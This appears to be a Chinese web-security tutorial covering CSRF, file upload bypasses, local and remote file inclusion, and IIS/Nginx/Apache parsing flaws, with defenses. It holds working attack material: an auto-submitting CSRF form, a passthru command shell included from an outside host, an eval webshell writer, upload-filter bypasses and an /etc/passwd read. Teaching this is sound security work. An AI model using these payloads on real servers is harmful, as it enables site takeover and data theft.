6.CSRF

CSRF 跨站请求伪造
1.CSRF分类
1.1

GET型

1.2

POST型

2.CSRF攻击原理及过程)
3.CSRF攻击实例
4.CSRF攻击的防御
4.1

验证HTTP Referer字段

4.2

请求地址中添加Token并验证

4.3

在HTTP中定义自定义请求并验证

5.CSRF的漏洞挖掘
使用Burp Suite快速生成 SCRF POC

一.CSRF

CSRF(Cross-Site Request Forgery),跟XSS漏洞攻击一样,存在巨大的危害性。

你可以这么来理解:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等

一.一CSRF GET型

如果一个网站某个地方的功能,比如用户修改邮箱是通过GET请求进行修改的。如:/user.php?id=1&email=123@163.com ,这个链接的意思是用户id=1将邮箱修改为123@163.com。 当我们把这个链接修改为 /user.php?id=1&email=abc@163.com ,然后通过各种手段发送给被攻击者,诱使被攻击者点击我们的链接,当用户刚好在访问这个网站,他同时又点击了这个链接,那么悲剧发生了。这个用户的邮箱被修改为 abc@163.com 了。

一.二CSRF POST型

在普通用户的眼中,点击网页->打开试看视频->购买视频是一个很正常的一个流程。可是在攻击者的眼中可以算正常,但又不正常的,当然不正常的情况下,是在开发者安全意识不足所造成的。攻击者在购买处抓到购买时候网站处理购买(扣除)用户余额的地址。比如:/coures/user/handler/25332/buy.php 。通过提交表单,buy.php处理购买的信息,这里的25532为视频ID。那么攻击者现在构造一个链接,链接中包含以下内容。

<form action=/coures/user/handler/25332/buy method=POST>

<input type="text" name="xx" value="xx" />

<script> document.forms[0].submit(); </script> 

当用户访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作,自动购买了id为25332的视频,从而导致受害者余额扣除。

二.CSRF攻击原理及过程

1.用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
3.用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
4.网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A
5.浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不6知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

三.CSRF攻击实例

1.受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求:
http://bank.example/withdraw?account=bob&amount=1000000&for=bob2
可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。
2.黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行:http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory
但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。
3.这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码:
src="http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory "。
并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外

四.CSRF攻击的防御

(1)验证 HTTP Referer 字段

根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如需要访问:
http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。这时,该转帐请求的 Referer 值就会是转账按钮所在的页面的 URL,通常是以 bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的 Referer 是指向黑客自己的网站。因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。

这种方法的显而易见的好处就是简单易行,网站的普通开发人员不需要操心 CSRF 的漏洞,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。

然而,这种方法并非万无一失。Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不安全。事实上,对于某些浏览器,比如 IE6 或 FF2,目前已经有一些方法可以篡改 Referer 值。如果 bank.example 网站支持 IE6 浏览器,黑客完全可以把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址,这样就可以通过验证,从而进行 CSRF 攻击。 即便是使用最新的浏览器,黑客无法篡改 Referer 值,这种方法仍然有问题。因为 Referer 值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权,特别是有些组织担心 Referer 值会把组织内网中的某些信息泄露到外网中。因此,用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时,网站会因为请求没有 Referer 值而认为是 CSRF 攻击,拒绝合法用户的访问。

(2)在请求地址中添加 token 并验证(Anti-CSRF token)

CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue 而对于 POST 请求来说,要在 form 的最后加上 ,这样就把 token 以参数的形式加入请求了。但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。

该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站,黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token,黑客可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击。为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。不过,即使这个 csrftoken 不以参数的形式附加在请求之中,黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。

3)在 HTTP 头中自定义属性并验证

这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 CSRFToken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。

然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。另外,对于没有进行 CSRF 防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。

五.CSRF的漏洞挖掘

1:最简单的方法就是抓取一个正常请求的数据包,如果没有Referer字段和token,那么极有可能存在CSRF漏洞

2:如果有Referer字段,但是去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞

3:随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。 以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

六.使用BurpSuite快速生成CSRF POC

当我们发现一个页面存在CSRF漏洞后,我们如何能快速的生成CSRC的攻击代码呢?我们可以借助BurpSuite这个强大的工具来完成。

抓取存在CSRF漏洞的数据包,右键,Engagement tools——>Generate CSRF PoC

他会自动给我们生成CSRF的攻击代码,我们点击Copy HTML

然后保存到我们本地,后缀为.html。双击打开该html文件,点击Submit request。只要当受害者点击了Submit request按钮,我们的CSRF攻击代码就执行了。

7.文件上传漏洞

文件上传
1.文件上传漏洞
1.1

文件上传的过滤

1.2

文件上传过滤的绕过

2.上传HTML文件
3.文件上传的防御
4.uploads

一.文件上传漏洞

文件上传漏洞是指攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。
文件上传漏洞条件:

1.上传的文件能被Web服务器当做脚本来执行
2.我们能够访问到上传文件的路径

服务器上传文件命名规则:

第一种:上传文件名和服务器命名一致
第二种:上传文件名和服务器命名不一致(随机,时间日期命名等),但是后缀一致
第三种:上传文件名和服务器命名不一致(随机,时间日期命名等),后缀也不一致

漏洞成因:由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。打个比方来说,如果你使用 php 作为服务器端的脚本语言,那么在你网站的上传功能处,就一定不能让用户上传 php 类型的文件,否则他上传一个木马文件,你服务器就被他控制了。因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

一般我们会利用文件上传漏洞上传一句话木马,然后用菜刀连接获取 webshell。但是这里有两个问题:

第一你的文件能上传到web服务器
第二你的文件能被当成脚本文件执行,所以要想让上传文件被当成脚本执行,我们经常会和文件包含漏洞和文件解析漏洞一起利用

一.一文件上传的过滤

根据前后端代码、中间件、系统特性去绕过

1.前端脚本检测文件扩展名。当客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,前端的 js 脚本就对文件的扩展名进行检测来判断是否是可以上传的类型。

<script type="text/javascript">

    function selectFile(fnUpload) {

        var filename = fnUpload.value; 

        var mime = filename.toLowerCase().substr(filename.lastIndexOf(".")); 

            alert("请选择jpg格式的照片上传"); 

            fnUpload.outerHTML=fnUpload.outerHTML; 

2.后端脚本检测文件扩展名,数据提交到后端,后端的函数对上传文件的后缀名进行检测,比如黑名单检测不允许上传 .php 、.asp 后缀格式的文件;白名单检测只允许上传 .jpg 格式的文件

$info=pathinfo($_FILES["file"]["name"]);

    $ext=$info['extension'];// 得到文件扩展名

    if (strtolower($ext) == "php") {   #黑名单检测,不允许上传php格式的文件

            exit("不允许的后缀名");

3.后端通过对上传文件的 Content-Type 类型进行黑白名单检测过滤
后端对上传文件的 Content-Type类型进行检测,只允许上传 image/gif、image/jpeg、image/pjpeg格式的文件

if (($_FILES["file"]["type"] != "image/gif") && ($_FILES["file"]["type"] != "image/jpeg") 

    && ($_FILES["file"]["type"] != "image/pjpeg")){

    exit($_FILES["file"]["type"]);

4.通过函数比如 getimagesize() 函数检测你上传的图片的大小是否是正常的图片大小,防止上传一句话木马。通过分析图片头部来判断这个是不是一个有效的图片格式,比如 jpg 格式图片头部是 JFIF ,gif头部是GIF89a,png头部是%PNG

if(!getimagesize($_FILES["file"]["tmp_name"])){

注意:在生产环境中的过滤,往往是这些方法都会结合的,而不只是单单的某一个过滤方法。生产环境中的过滤是很严格的

一.二上传文件过滤的绕过

1.对于第一种前端脚本检测过滤,上传的时候上传 jpg 后缀的文件,然后用butpsuite进行抓包修改为.php的即可绕过
2.对于第二种后端过滤,如果是后端黑名单过滤的话,我们可以想尽任何办法绕过黑名单进行上传。比如如果目标服务器是windows系统的话,我们可以利用windows系统的解析漏洞用burpsuite抓包,将文件名后缀改为 .php. 或者 .php ,因为在windows系统内是不允许文件以 . 或者空格结尾的。所以在绕过上传之后windows系统会自动去掉 点和空格。所以,该文件最终还是会被解析成 .php 。或者还可以将php三个字母变换大小写,因为在windows系统里面是不区分大小写的如果是白名单检测的话,我们可以采用00截断绕过。00截断利用的是php的一个漏洞。在 php<5.3.4 版本中,存储文件时处理文件名的函数认为0x00是终止符。于是在存储文件的时候,当函数读到 0x00(%00) 时,会认为文件已经结束。

例如:我们上传 1.php%00.jpg 时,首先后缀名是合法的jpg格式,可以绕过前端的检测。上传到后端后,后端判断文件名后缀的函数会认为其是一个.jpg格式的文件,可以躲过白名单检测。但是在保存文件时,保存文件时处理文件名的函数在遇到%00字符认为这是终止符,于是丢弃后面的 .jpg,于是我们上传的 1.php%00.jpg 文件最终会被写入 1.php 文件中并存储在服务端。

3.对于第三种过滤,可以使用burpsuite进行抓包修改 Content-Type 类型
4.对于第四种过滤,可以将一句话木马写入到正常的图片中:copy /b 1.jpg+1.php 2.jpg 。然后在利用burpsuite修改后缀为 .php ,或者利用文件包含漏洞或者文件解析漏洞,将其解析成 php脚本即可
还有其他的过滤,比如多文件上传时,有时服务器只对第一个上传的文件进行了检查,这时通过上传多个文件并将恶意文件掺杂进其中也可绕过服务器的过滤

二.上传HTML文件

有很多网站采用黑名单的过滤机制,但是他们忘记了过滤 html 文件,这就造成了上传html文件形成存储型XSS

三.文件上传的防御

1.客户端检测,使用 js 对上传图片检测,包括文件大小、文件扩展名、文件类型等
2.服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测、对文件重命名等
3.服务器端上传目录设置不可执行权限
4.检查网站有没有文件解析漏洞和文件包含漏洞
5.将文件上传到单独的文件服务器,并且单独设置文件服务器的域名

四.upload-libs

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。upload-libs的项目地址:https://github.com/c0ny1/upload-labs

8.文件包含漏洞

文件包含
1.文件包含漏洞成因
2.为什么要包含文件?
3.文件上传的漏洞利用
3.1

本地包含

3.2

远程包含

4.文件包含的防御

一.文件包含的成因

文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行,代码注入的典型代表就是文件包含File inclusion。文件包含可能会出现在jsp、php、asp等语言中但是asp、jsp文件只能本地包含,而php既可以本地包含也可以远程包含。服务器通过函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。常见的文件包含的函数如下:

PHP:include() 、include_once()、require()、require_once()、fopen()、readfile()

JSP/Servlet:ava.io.file()、java.io.filereader()

ASP:include file、include virtual

1.Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
2.Require:跟include唯一不同的是,当产生错误时候,include会继续运行而require停止运行。
3.Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。
4.Require_once:这个函数跟require函数作用几乎相同,与include_once和include类似。
php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。php4存在远程包含&本地包含,php5仅存在本地包含。

使用上面几个函数包含文件时,该文件将作为PHP代码执行,PHP内核并不在意被包含的文件是什么类型的。也就是说我们用这几个函数包含.jpg文件时,也会将其当做php文件来执行。

二.为什么要包含文件?

程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件需要使用时进行包含调用。在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写 include("share.php") ,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?

有的时候可能并不能确定需要包含哪个文件,比如看下面的代码

上面这段代码的使用格式可能是这样的:

http://hi.baidu.com/m4r10/php/index.php?page=main.php

1、提交上面这个URL,在index.php中就取得这个page的值($_GET[page])。
2、判断$_GET[page]是不是空,若不空(这里是main.php)就用include来包含这个文件。
3、若$_GET[page]空的话就执行else,来 include "home.php" 这个文件。

三.文件包含漏洞利用

三.一本地包含(LFI)

本地包含条件:

allow_url_fopen=On
用户可以动态控制变量
针对以上代码,比如我们会随便的写入下面这个URL:
http: //hi.baidu.com/m4r10/php/index.php?page=hello.php
然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取page为hello.php,然后去include(hello.php)。。。。这时问题出现了,因为我们并没有hello.php这个文件,所以它 include的时候就会报警告,类似下列信息:

Warning: include(hello.php) [function.include]: failed to open stream: 
No such file or directory in /vhost/wwwroot/php/index.phpon line 3

Warning: include() [function.include]: Failed opening hello.php 
for inclusion (include_path=.:) in /vhost/wwwroot/php/index.php on line 3

第一行的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;
而第二行的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。

通过报错,我们可以得知绝对路径 /vhost/wwwroot/php/
我们可以多次探测来包含其他文件,比如指定 www.xxx.com/index.php?test=./123.txt,来读出当前路径下的123.txt,也可以使用../来进行目录跳转(在没过滤../的情况下),也可以直接指定绝对路径,读取敏感的系统文件 ,比如 www.xxx.com/index.php?test=/etc/passwd,如果目标主机没有对权限限制的很严格,或者启动Apache的权限比较高,是可以读出这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect. 的 Warning。
如果我们可以上传文件的话,我们可以上传一句话木马,然后再包含一句话木马,再用菜刀连接拿下网站的Webshell

本地文件包含漏洞利用技巧

包含用户上传的文件 (我们上传的一句话木马等等)
包含data:// 或 php://input 等伪协议
包含 Session 文件
包含日志文件 ( 通过构造语句让服务器报错并将一句话随报错信息写入日志;找到日志文件路径,包含此文件;用菜刀连接;拿下网站的Webshell )

三.二远程包含(RFI)

远程包含条件:

allow_url_include=On
用户可以动态控制变量

我们可以指定其他URL上的一个我们写的一句话木马,然后用菜刀连接获取Webshell。

我们还可以指定其它URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码,如下保存为cmd.txt(后缀不重要,只要内容为PHP格式就可以了)。

if (get_magic_quotes_gpc())

{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} 
//去掉转义字符(可去掉字符串中的反斜线字符)

ini_set("max_execution_time",0); 
//设定针对这个文件的执行时间,0为不限制.

echo "开始行";       //打印的返回的开始行提示信息

passthru($_REQUEST["cmd"]);   //运行cmd指定的命令

echo "结束行";       //打印的返回的结束行提示信息

以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在开始行与结束行之间。把这个文件保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http://www.xxx.cn/cmd.txt,然后我们就可以在那个漏洞主机上构造如下URL来利用了:http://hi.baidu.com/m4r10/php/index.php?page=http: //www.xxx.cn/cmd.txt?cmd=ls,其中cmd后面的就是你需要执行的命令,其它常用的命令(以*UNIX为例)如下:

ll 列目录、文件(相当于Windows下dir)
pwd 查看当前绝对路径
whoami 查看当前用户
wget 下载指定URL的文件

四.文件包含的防御

在php中,文件包含需要配置 allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含) 。所以,我们可以将其关闭,这样就可以杜绝文件包含漏洞了。但是,某些情况下,不能将其关闭,必须进行包含的话,我们可以使用白名单过滤的方法,只能包含我们指定的文件。这样,就可以杜绝文件包含漏洞了。

9.文件解析漏洞

文件解析
1.IIS解析漏洞
1.1

目录解析漏洞

1.2

文件名解析漏洞

1.3

畸形解析漏洞

1.4

其他解析漏洞

2.Nginx解析漏洞
2.1

畸形解析漏洞

2.2

%00空字节代码解析漏洞

2.3

CVE-2013-4547

3.Apache解析漏洞
3.1

文件名解析漏洞

3.2

.htaccess文件

文件解析漏洞:
文件解析漏洞主要由于网站管理员操作不当或者 Web 服务器自身的漏洞,导致一些特殊文件被 IIS、apache、nginx 或其他 Web服务器在某种情况下解释成脚本文件执行。

比如网站管理员配置不当,导致php2、phtml、ascx等等这些文件也被当成脚本文件执行了。甚至某些情况下管理员错误的服务器配置导致.html、.xml等静态页面后缀的文件也被当成脚本文件执行。

但是,大部分的解析漏洞还是由于web服务器自身的漏洞,导致特殊文件被当成脚本文件执行了。

1.IIS解析漏洞

1.1目录解析漏洞(/test.asp/1.jpg)

在 IIS5.x/6.0 中,在网站下建立文件夹的名字为.asp、.asa、.cer、.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管上传后你的图片改不改名都能拿shell了

1.2文件名解析漏洞(test.asp;.jpg)

在 IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 .asp;.jpg、.asa;.jpg、*.cer;.jpg 后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。

1.3畸形解析漏洞(test.jpg/*.php)

微软发布了IIS7.0修补了IIS6.0的解析漏洞,没想到IIS7.0爆出更严重的畸形解析漏洞,于是微软急忙发布了IIS7.5

在 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?>
将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会神奇的发现在 /upload 目录下创建了一个一句话木马文件 shell.php 。

临时解决办法:设置 cgi.fix_pathinfo为0

这个解析漏洞和下面讲的Nginx的解析漏洞是一样的。

1.4其他解析漏洞

在windows环境下,xx.jpg[空格] 或 xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点都会被windows自动消除。

2.Nginx解析漏洞

2.1畸形解析漏洞(test.jpg/*.php)

php的配置文件 php.ini 文件中开启了 cgi.fix_pathinfo
/etc/php5/fpm/pool.d/www.conf中不正确的配置security.limit_extensions,导致允许将其他格式文件作为php解析执行
在nginx<0.8.03环境中,我们新建一个文件,内容为:<?php phpinfo() ?> ,然后将其名字修改为: test.jpg

在浏览器中访问 http://192.168.10.139/test.jpg 显示图片解析错误。在浏览器中访问 http://192.168.10.139/test.jpg/test.php ,显示:Access denied. 。这就奇怪了,test.jpg是文件不是目录,test.php更是根本就不存在的文件,访问/test.jpg/test.php没有报404,而是显示 Access denied. 。这是到底为啥

原因在于,Nginx拿到文件路径(更专业的说法是URI)/test.jpg/test.php 后,一看后缀是.php,便认为该文件是php文件,于是转交给php去处理。php一看 /test.jpg/test.php 不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpg,php认为这不是php文件,于是返回 Access denied. 。

这其中涉及到php的一个选项:cgi.fix_pathinfo,该值默认为1,表示开启。开启这一选项有什么用呢?看名字就知道是对文件路径进行处理。举个例子,当 php 遇到文件路径 /aaa.xxx/bbb.yyy/ccc.zzz 时,若 /aaa.xxx/bbb.yyy/ccc.zzz 不存在,则会去掉最后的 /ccc.zzz ,然后判断 /aaa.xxx/bbb.yyy 是否存在,若存在,则把 /aaa.xxx/bbb.yyy 当做文件 /aaa.xxx/bbb.yyy/ccc.zzz ,若 /aaa.xxx/bbb.yyy 仍不存在,则继续去掉 /bbb.yyy ,以此类推。

该选项在配置文件 php.ini 中。若是关闭该选项,访问 http://127.0.0.1/test.jpg/test.php 只会返回找不到文件。但关闭该选项很可能会导致一些其他错误,所以一般默认是开启的。

但是目前我们还没能成功执行代码,test.jpg 没有当成php文件执行,只是返回了 Access denied ,因为新版本的php引入了security.limit_extensions ,限制了可执行文件的后缀,默认只允许执行.php文件。

这一漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于security.limit_extensions 的引入,使得该漏洞难以被成功利用。

为何是Nginx中的php才会有这一问题呢?因为Nginx只要一看URL中路径名以.php结尾,便不管该文件是否存在,直接交给php处理。而如Apache等,会先看该文件是否存在,若存在则再决定该如何处理。cgi.fix_pathinfo是php具有的,若在php前便已正确判断了文件是否存在,cgi.fix_pathinfo便派不上用场了,这一问题自然也就不存在了。(IIS在这一点和Nginx是一样的,同样存在这一问题)

2.2%00空字节代码解析漏洞

原理:Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码

在以下版本的nginx中,我们在图片中嵌入PHP代码然后通过访问 xxx.jpg%00.php 来执行其中的代码

Nginx 0.5.*
Nginx 0.6.*
Nginx 0.7 <= 0.7.65
Nginx 0.8 <= 0.8.37

2.3CVE-2013-4547(%20%00)

影响nginx版本:nginx 0.8.41 ~ 1.5.6

这一漏洞的原理是非法字符空格和截止符(%00)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。是什么意思呢?举个例子,假设服务器上存在文件:“file.jpg ”,注意文件名的最后一个字符是空格。则可以通过访问:

http://127.0.0.1/file.jpg 0.php
让Nginx认为文件“file.jpg ”的后缀为“.php”。

来测试下,这次测试在Nginx/1.0.15中进行。首先准备一张图片,命名为“test.html ”,注意,文件名含有空格。然后在浏览器中访问该文件,会得到一个404,因为浏览器自动将空格编码为%20,服务器中不存在文件“test.html%20”。

测试目标是要让Nginx认为该文件是图片文件并正确地在浏览器中显示出来。我们想要的是未经编码的空格和截止符(0),怎么办呢?使用Burp Suite抓取浏览器发出的请求包,修改为我们想要的样子,原本的URL是:http://192.168.56.101/test.htmlAAAjpg ,将第一个“A”改成“20”(空格符号的ASCII码),将第二个“A”改成“00”(截止符),将第三个“A”改成“2e”(“.”的ASCII码),如图

我们已经成功地利用了漏洞!但这有什么用呢?我们想要的是代码被执行。

继续测试,准备文件“test.jpg ”,注意文件名的最后一个字符是空格,上传到服务器。文件内容为:

<?php phpinfo(); ?>
用Burp Suite抓包并修改,原本的URL是:http://192.168.56.101/test.jpg…php ,将jpg后的第一个“.”改为20,第二个“.”改为00,如下图所示:

修改完毕后 Forword 该请求,在浏览器中看到:Access denied ,好吧,又是这个。

这说明Nginx在接收到这一请求后,确实把文件“test.jpg ”当做php文件交给php去执行了,只是php看到该文件后缀为“.jpg ”而拒绝执行。这样,便验证了Nginx确实存在该漏洞。但是由于 security.limit_extensions 的存在,导致我们并不能利用此漏洞

3.Apache解析漏洞

3.1文件名解析漏洞

apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断。比如 xie.php.owf.rar .owf和.rar 这两种后缀是apache不可识别的解析,apache就会把xie.php.owf.rar解析成 xie.php 。如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个 xie.php.rara.jpg.png..(把你知道的后缀都写上去)去测试是否是合法后缀。任意不识别的后缀,逐级向上识别。

3.2.htaccess文件

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。

.htaccess 文件生效前提条件为

mod_rewrite 模块开启
AllowOverride All
1:这个.htaccess的意思就是把所有名字里面含有shell的文件当成php脚本来执行

SetHandler application/x-httpd-php

2:这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析

AddType application/x-httpd-php .jpg

最后修改:2022 年 04 月 18 日 11 : 23 AM
如果觉得这篇文章不错,不妨赏我碎银几两。